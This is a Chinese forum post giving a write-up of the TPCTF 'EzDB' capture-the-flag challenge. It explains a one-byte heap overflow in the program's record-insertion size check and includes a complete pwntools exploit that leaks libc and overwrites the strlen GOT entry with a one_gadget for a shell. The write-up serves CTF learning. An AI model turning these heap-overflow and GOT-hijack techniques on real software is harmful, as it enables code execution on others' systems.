[TPCTF] EzDB详解

饭宝  论坛元老 | 2025-3-12 22:26:09 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1641|帖子 1641|积分 4923

程序分析

第一眼菜单堆题,但程序本身实现了一个数据结构:表结构(page)储存Record

逆向出的page结构体如下,记录分配的内存以及record记录。然后堆内还存在一个数据结构records。两个结构之间的关系如图(请忽略我粗劣的画工)
  1. struct TablePage
  2. {
  3.   void *mem; // 分配的堆内存地址
  4.   void *records_end; // record结尾,在GetSlotNum函数中用于计算有多少个record
  5.   void *mem_offset; // 空闲内存,每次申请record从堆内存尾部分割
  6.   void *records_ptr; // record开始,在EditRecord函数用于索引到指定record
  7. };
  8. struct recordInHeap
  9. {
  10.   uint16_t offset; // record内容在堆内的偏移
  11.   uint16_t size; // record的大小
  12. };
复制代码
这里为什么要专门要创建一个recordInHeap结构体呢,主要是和菜单选项里的Record结构区分开来
堆内的records数组是向高地址生长,而内容则是向低地址生长

漏洞在于InsertRecord时,对堆内的剩余空间计算存在问题
page->mem_offset -  page->records_end + 1 < Size + 4,我们只要令 申请的size +4= 剩余空间  + 1,就存在一字节的溢出。

然后memcpy复制的起始地址是page->mem_offset - Size,覆盖的是recordInHeap的size段的高位,接下来我们就可以进行愉快的堆溢出啦
之后就是常规的堆利用了,有很多利用思路,这里我选择劫持libc.got
起首leak出libc地址,然后通过溢出劫持TablePage结构体来实现任意写,修改libc的got.plt的strlen为one_gadget
由于程序打印menu时会调用puts函数,而puts函数内部又调用了strlen函数,触发ogg
exp
  1. from pwn import *
  2. import struct
  3. def debug(c = 0):
  4.     if(c):
  5.         gdb.attach(p, c)
  6.     else:
  7.         gdb.attach(p)
  8. def get_addr():
  9.     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  10. def get_sb():
  11.     return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
  12. sd = lambda data : p.send(data)
  13. sa  = lambda text,data  :p.sendafter(text, data)
  14. sl  = lambda data   :p.sendline(data)
  15. sla = lambda text,data  :p.sendlineafter(text, data)
  16. rc   = lambda num=4096   :p.recv(num)
  17. ru  = lambda text   :p.recvuntil(text)
  18. rl  = lambda         :p.recvline()
  19. pr = lambda num=4096 :print(p.recv(num))
  20. ia   = lambda        :p.interactive()
  21. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  22. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  23. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  24. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  25. int16   = lambda data   :int(data,16)
  26. lg = lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))
  27. lgn = lambda s, n   :p.success('%s -> 0x%x' % (s, n))
  28. context(arch = "amd64",os = "linux",log_level = "debug")
  29. #context.terminal = ['tmux','splitw','-h']
  30. context.terminal = ['konsole', '-e', 'sh', '-c']
  31. #context.terminal = ['gnome-terminal', '-e', 'sh', '-c']
  32. file = "./pwn"
  33. libc = "./libc.so.6"
  34. p = process("./pwn")
  35. elf = ELF(file)
  36. libc = ELF(libc)
  37. def add(idx):
  38.     ru(">>>")
  39.     sl(b"1")
  40.     ru("Index:")
  41.     sl(str(idx))
  42. def edit(idx,sid,size,content):
  43.     ru(">>>")
  44.     sl(b"5")
  45.     ru("Index:")
  46.     sl(str(idx))
  47.     ru("Slot ID:")
  48.     sl(str(sid))
  49.     ru("Varchar Length:")
  50.     sl(str(size))
  51.     ru("Varchar:")
  52.     sd(content)
  53. def insert(idx,size,content):
  54.     ru(">>>")
  55.     sl(b"3")
  56.     ru("Index:")
  57.     sl(str(idx))
  58.     ru("Length:")
  59.     sl(str(size))
  60.     ru("Varchar:")
  61.     sd(content)
  62. def show(idx,sid):
  63.     ru(">>>")
  64.     sl(b"4")
  65.     ru("Index:")
  66.     sl(str(idx))
  67.     ru("Slot ID:")
  68.     sl(str(sid))
  69. def delete(idx):
  70.     ru(">>>")
  71.     sl(b"2")
  72.     ru("Index:")
  73.     sl(str(idx))
  74. for i in range(10):
  75.     add(i)
  76. for i in range(9, 1, -1):
  77.     delete(i)
  78. payload = p8(0x5).ljust(0x401 - 4, b'a')
  79. insert(1, 0x401-4, payload)
  80. show(1, 0)
  81. ru(p64(0x3d1))
  82. libcbase = uu64() - 0x21ace0
  83. libc.address = libcbase
  84. libc_got = libc.got["malloc"] + 0xa8
  85. insert(0, 0x401-4, payload)
  86. oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
  87. payload = p8(0x5).ljust(0x401 - 4, b'a') + flat(0, 0x31, libc_got-4, libc_got-4, libc_got+8, libc_got-4)
  88. edit(0, 0, len(payload) ,payload)
  89. lgn("libcbase", libcbase)
  90. lgn("strlen got", libc_got)
  91. debug()
  92. pause()
  93. insert(1, 8, p64(libcbase + oggs[1]))
  94. ia()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

饭宝

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表